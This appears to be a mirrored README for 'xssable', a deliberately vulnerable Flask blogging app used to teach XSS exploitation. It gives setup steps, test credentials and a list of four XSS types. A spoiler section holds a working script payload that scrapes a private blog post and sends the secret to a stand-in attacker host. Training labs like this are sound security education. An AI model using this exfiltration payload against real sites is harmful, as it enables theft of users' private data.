Coder Social home page Coder Social logo

xssable's Introduction

xssable

xssable is a vulnerable blogging platform used to demonstrate XSS vulnerabilities.

Usage

To run it locally:

docker build . -t xssable:latest
docker run -p 5000:5000 xssable:latest

or

pip install -r requirements.txt
python app.py

Then access the application on http://127.0.0.1:5000.

Spoiler!

Credentials for the built-in user accounts are John:12345 and Connie:iloveyou1.

Currently there are 4 different XSS vulnerabilities:

  • a reflected XSS (with the possibility to bypass Chrome's XSS Auditor),
  • a stored XSS with limited exploitation,
  • a stored XSS without limitations, and
  • a location.hash to .innerHTML based DOM XSS.

Exploitation (beyond alert() pop-ups) can be practiced by getting access to Connie's private blog post and stealing the secret code.

Spoiler!
fetch('/blogs').then(r => r.text()).then(t => fetch('https://attacker.kiwi.com/?s='%2bt.split('%F0%9F%94%92')[1].split('<strong>')[1].split('<')[0]))</script>
 

The application highlights that:

  • blacklists are bypass-able,
  • browser protections are unreliable,
  • not every "XSS" has the same impact,
  • frameworks do unexpected stuff, and
  • server-side validation is important.
What's next?

xssable's People

Contributors

bayotop avatar

Stargazers

Greg M avatar  avatar Sanjay Kumari avatar Kamil Vavra avatar Lennie Budgell avatar  avatar Avi avatar Ice3man avatar Michael Skelton avatar

Watchers

James Cloos avatar Petr Šnobelt avatar Stanislav Komanec avatar Jozef Képesi avatar Pavel Řezníček avatar Alex Viscreanu avatar Laďa Radoň avatar  avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.